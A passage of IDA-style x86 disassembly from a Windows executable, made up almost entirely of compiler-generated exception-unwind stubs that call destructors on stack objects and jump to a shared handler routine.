		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403FC0	proc near		; DATA XREF: sub_403FC0+2o
		mov	eax, offset dword_43E890
		jmp	sub_4367C8
SEH_403FC0	endp

; ---------------------------------------------------------------------------
		db 2Eh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438208:				; DATA XREF: ___:0043E974o
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_404640	proc near		; DATA XREF: sub_404640+2o
		mov	eax, offset dword_43E948
		jmp	sub_4367C8
SEH_404640	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43828B:				; DATA XREF: ___:0043E9FCo
		lea	ecx, [ebp-100h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438296:				; DATA XREF: ___:0043EA04o
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-100h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-134h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0E8h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_404C70	proc near		; DATA XREF: sub_404C70+8o
		mov	eax, offset dword_43E9D0
		jmp	sub_4367C8
SEH_404C70	endp

; ---------------------------------------------------------------------------
		db 8Bh dup(0CCh)
; ---------------------------------------------------------------------------


loc_438530:				; DATA XREF: ___:0043EBD4o
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-28h]
		and	eax, 1
		test	eax, eax
		jz	locret_43854E
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_43854E:				; CODE XREF: ___:00438540j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4066E0	proc near		; DATA XREF: sub_4066E0+2o
		mov	eax, offset dword_43EBA8
		jmp	sub_4367C8
SEH_4066E0	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------


loc_438570:				; DATA XREF: ___:0043EC0Co
		lea	ecx, [ebp-18Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-198h]
		and	eax, 1
		test	eax, eax
		jz	locret_438594
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_438594:				; CODE XREF: ___:00438586j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_406890	proc near		; DATA XREF: sub_406890+2o
		mov	eax, offset dword_43EBE0
		jmp	sub_4367C8
SEH_406890	endp

; ---------------------------------------------------------------------------
		db 11h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-454h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4385BB:				; DATA XREF: ___:0043EC44o
		lea	ecx, [ebp-43Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4385C6:				; DATA XREF: ___:0043EC4Co
		lea	ecx, [ebp-424h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_406C30	proc near		; DATA XREF: sub_406C30+8o
		mov	eax, offset dword_43EC18
		jmp	sub_4367C8
SEH_406C30	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_407030	proc near		; DATA XREF: sub_407030+2o
		mov	eax, offset dword_43EC58
		jmp	sub_4367C8
SEH_407030	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+8]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_407660	proc near		; DATA XREF: sub_407660+8o
		mov	eax, offset dword_43EC88
		jmp	sub_4367C8
SEH_407660	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+20h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438638:				; DATA XREF: ___:0043ECE4o
		lea	ecx, [ebp+8]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4076F0	proc near		; DATA XREF: sub_4076F0+8o
		mov	eax, offset dword_43ECB8
		jmp	sub_4367C8
SEH_4076F0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-174h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43865B:				; DATA XREF: ___:0043ED1Co
		lea	ecx, [ebp-1A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-204h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2DCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2C4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-234h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-264h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-294h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-15Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-114h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-144h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0CCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-21Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0B4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0E4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-9Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-330h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-318h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-34Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-12Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0FCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-300h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-2FCh]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_407790	proc near		; DATA XREF: sub_407790+2o
		mov	eax, offset dword_43ECF0
		jmp	sub_4367C8
SEH_407790	endp

; ---------------------------------------------------------------------------
		db 0CAh	dup(0CCh)
		dd 90C84D8Dh, 0C56A4CE9h
		db 75h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_409580	proc near		; DATA XREF: sub_409580+2o
		mov	eax, offset dword_43F098
		jmp	sub_4367C8
SEH_409580	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40A290	proc near		; DATA XREF: sub_40A290+2o
		mov	eax, offset dword_43F0C8
		jmp	sub_4367C8
SEH_40A290	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-38h]
		and	eax, 1
		test	eax, eax
		jz	locret_438A86
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_438A86:				; CODE XREF: ___:00438A78j
		retn
; ---------------------------------------------------------------------------


loc_438A87:				; DATA XREF: ___:0043F124o
		lea	ecx, [ebp-34h]
		jmp	sub_40158C
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40A430	proc near		; DATA XREF: sub_40A430+2o
		mov	eax, offset dword_43F0F8
		jmp	sub_4367C8
SEH_40A430	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 90C84D8Dh, 0C569CCE9h
		db 75h
; ---------------------------------------------------------------------------


loc_438AB9:				; DATA XREF: ___:0040A952o
		mov	eax, offset dword_43F138
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40AE10	proc near		; DATA XREF: sub_40AE10+5o
		mov	eax, offset dword_43F168
		jmp	sub_4367C8
SEH_40AE10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40AF90	proc near		; DATA XREF: sub_40AF90+5o
		mov	eax, offset dword_43F1C8
		jmp	sub_4367C8
SEH_40AF90	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_438AFB:				; DATA XREF: ___:0043F254o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401555

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B0B0	proc near		; DATA XREF: sub_40B0B0+2o
		mov	eax, offset dword_43F228
		jmp	sub_4367C8
SEH_40B0B0	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_438B4B:				; DATA XREF: ___:0043F29Co
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401555

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B170	proc near		; DATA XREF: sub_40B170+2o
		mov	eax, offset dword_43F270
		jmp	sub_4367C8
SEH_40B170	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B210	proc near		; DATA XREF: sub_40B210+2o
		mov	eax, offset dword_43F2B8
		jmp	sub_4367C8
SEH_40B210	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438BC8:				; DATA XREF: ___:0043F324o
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B430	proc near		; DATA XREF: sub_40B430+2o
		mov	eax, offset dword_43F2F8
		jmp	sub_4367C8
SEH_40B430	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438BF8:				; DATA XREF: ___:0040B5F2o
		mov	eax, offset dword_43F338
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438C30:				; DATA XREF: ___:0040B8D8o
		mov	eax, offset dword_43F368
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40C360	proc near		; DATA XREF: sub_40C360+2o
		mov	eax, offset dword_43F3B0
		jmp	sub_4367C8
SEH_40C360	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-0A78h]
		jmp	loc_401AFF
; ---------------------------------------------------------------------------


loc_438C7B:				; DATA XREF: ___:0043F40Co
		lea	ecx, [ebp-0A3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438C86:				; DATA XREF: ___:0043F414o
		lea	ecx, [ebp-0A54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0A3Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40C400	proc near		; DATA XREF: sub_40C400+8o
		mov	eax, offset dword_43F3E0
		jmp	sub_4367C8
SEH_40C400	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CB10	proc near		; DATA XREF: sub_40CB10+2o
		mov	eax, offset dword_43F428
		jmp	sub_4367C8
SEH_40CB10	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-260h]
		jmp	loc_40226B
; ---------------------------------------------------------------------------


loc_438CEB:				; DATA XREF: ___:0043F484o
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438CF6:				; DATA XREF: ___:0043F48Co
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438D01:				; DATA XREF: ___:0043F494o
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438D0C:				; DATA XREF: ___:0043F49Co
		lea	ecx, [ebp-278h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CBB0	proc near		; DATA XREF: sub_40CBB0+8o
		mov	eax, offset dword_43F458
		jmp	sub_4367C8
SEH_40CBB0	endp

; ---------------------------------------------------------------------------
		db 1Fh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438D4B:				; DATA XREF: ___:0043F4D4o
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CE60	proc near		; DATA XREF: sub_40CE60+2o
		mov	eax, offset dword_43F4A8
		jmp	sub_4367C8
SEH_40CE60	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438D7B:				; DATA XREF: ___:0043F50Co
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438D86:				; DATA XREF: ___:0040CEE2o
		mov	eax, offset dword_43F4E0
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40D130	proc near		; DATA XREF: sub_40D130+2o
		mov	eax, offset dword_43F518
		jmp	sub_4367C8
SEH_40D130	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-16Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438DEB:				; DATA XREF: ___:0043F58Co
		lea	ecx, [ebp-184h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40D580	proc near		; DATA XREF: sub_40D580+2o
		mov	eax, offset dword_43F560
		jmp	sub_4367C8
SEH_40D580	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-604h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-634h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-664h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-67Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-61Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-58Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-694h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-64Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40DB40	proc near		; DATA XREF: sub_40DB40+2o
		mov	eax, offset dword_43F5D0
		jmp	sub_4367C8
SEH_40DB40	endp

; ---------------------------------------------------------------------------
		db 27h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438F28:				; DATA XREF: ___:0043F694o
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
